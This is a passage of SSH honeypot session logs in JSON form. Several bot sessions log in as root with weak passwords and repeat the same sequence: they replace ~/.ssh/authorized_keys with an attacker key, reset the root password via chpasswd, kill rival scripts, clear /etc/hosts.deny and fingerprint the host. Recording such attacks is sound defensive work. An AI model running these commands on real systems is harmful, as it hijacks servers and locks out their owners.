.ssh","started_at":"2026-08-27T12:51:59.998119+00:00","ended_at":"2026-08-27T12:52:01.203481+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:51:41.934701+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:51:42.260835+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:51:46.230122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:51:46.620157+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:51:46.949311+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UnYf4RHUdHcG\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:51:47.279526+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:51:47.606750+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:51:48.393541+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:51:48.720548+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:51:49.856184+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:51:50.454022+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:51:51.391407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:51:51.723615+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:51:52.406059+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:51:52.735608+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:51:53.009016+00:00","kind":"output","latency_ms":null,"data":" 12:51:53 up 7 days, 9:42, 0 user, load average: 0.17, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:51:53.340503+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:51:53.802627+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:51:54.131041+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:51:55.018248+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:51:55.349023+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:51:56.069250+00:00","kind":"output","latency_ms":null,"data":"top - 12:51:56 up 7 days, 9:42, 0 user, load average: 0.17, 0.17, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:51:56.395630+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:51:56.677316+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:51:57.009284+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:51:57.308107+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:51:57.639678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:51:58.094757+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:51:58.424501+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:51:59.668435+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:51:59.998572+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:52:01.106960+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Db123456","method":"password","accepted":true,"tier":"other"}]} {"id":"2be61374-7157-471c-8912-bee3a0601c04","name":"prairie-whispering-owl","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":446,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:47:57.972467+00:00","ended_at":"2026-08-27T12:47:59.174021+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:47:37.819111+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:38.263183+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:47:42.120134+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:47:42.760367+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:47:43.206122+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ph4Zi15JGXvu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:47:43.651232+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:47:44.098031+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:47:44.470196+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:47:44.917315+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:47:46.119493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:47:46.566872+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:47:47.732413+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:47:48.180257+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:47:48.537822+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:47:48.983687+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:47:49.621037+00:00","kind":"output","latency_ms":null,"data":" 12:47:49 up 7 days, 9:37, 0 user, load average: 0.14, 0.13, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:47:50.067647+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:47:50.605167+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:47:51.051948+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:47:51.690805+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:47:52.136881+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:47:52.685405+00:00","kind":"output","latency_ms":null,"data":"top - 12:47:52 up 7 days, 9:37, 0 user, load average: 0.14, 0.13, 0.17\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:47:53.132289+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:47:53.990048+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:47:54.442401+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:47:54.943472+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:47:55.395362+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:47:55.896629+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:47:56.345059+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:47:57.527266+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:47:57.973267+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:47:59.042075+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"a91607e8-e524-40e0-9e00-a167432f342e","name":"sullen-marine-impala","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41434,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:47:51.603044+00:00","ended_at":"2026-08-27T12:47:53.744422+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:47:32.510468+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:33.133610+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:47:36.559873+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:47:36.812421+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:47:37.158484+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ywYCiJ3Lfkjr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:47:37.505218+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:47:37.852375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:47:39.368636+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:47:39.715838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:47:41.126443+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:47:41.478909+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:47:42.279705+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:47:42.627121+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:47:43.297112+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:47:43.643826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:47:44.504751+00:00","kind":"output","latency_ms":null,"data":" 12:47:44 up 7 days, 9:37, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:47:44.851208+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:47:45.210078+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:47:45.557961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:47:45.926592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:47:46.274387+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:47:47.034250+00:00","kind":"output","latency_ms":null,"data":"top - 12:47:47 up 7 days, 9:37, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:47:47.382863+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:47:48.006793+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:47:48.354105+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:47:49.052687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:47:49.401613+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:47:49.755183+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:47:50.101457+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:47:51.256659+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:47:51.603819+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:47:53.639805+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root2024@","method":"password","accepted":true,"tier":"other"}]} {"id":"5559e721-6a86-4e90-bdf4-92487a3505ca","name":"salty-murky-fossa","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:53.445340+00:00","ended_at":"2026-08-27T12:45:55.408876+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:45:28.295128+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:28.622965+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:32.419915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:34.504039+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:34.833237+00:00","kind":"input","latency_ms":null,"data":"echo \"root:D8eZBoln4LHV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:45:35.161039+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:45:35.487830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:36.849490+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:36.897323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:45:37.178209+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:45:39.047620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:45:39.379625+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T12:45:40.876622+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T12:45:41.208040+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T12:45:43.345245+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T12:45:43.673357+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T12:45:45.312953+00:00","kind":"output","latency_ms":null,"data":" 12:45:45 up 7 days, 9:35, 0 user, load average: 0.34, 0.42, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T12:45:45.643019+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T12:45:46.771322+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T12:45:47.100930+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T12:45:47.768289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T12:45:48.092769+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T12:45:48.345632+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:48 up 7 days, 9:35, 0 user, load average: 0.34, 0.42, 0.4\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T12:45:48.671840+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T12:45:49.206951+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T12:45:49.532936+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T12:45:50.015970+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T12:45:50.342822+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T12:45:50.632892+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T12:45:50.962272+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:45:53.119339+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:45:53.446168+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:45:55.312264+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"gb.123456","method":"password","accepted":true,"tier":"other"}]} {"id":"8b312082-94b9-4a3e-a9b9-706b74821f85","name":"dutiful-murky-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59826,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":442,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:18.685494+00:00","ended_at":"2026-08-27T12:45:20.012052+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:44:58.126773+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:44:58.567916+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:02.351326+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:02.608557+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:03.049957+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UCJJCBftw1CE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:45:03.490628+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:45:03.929779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 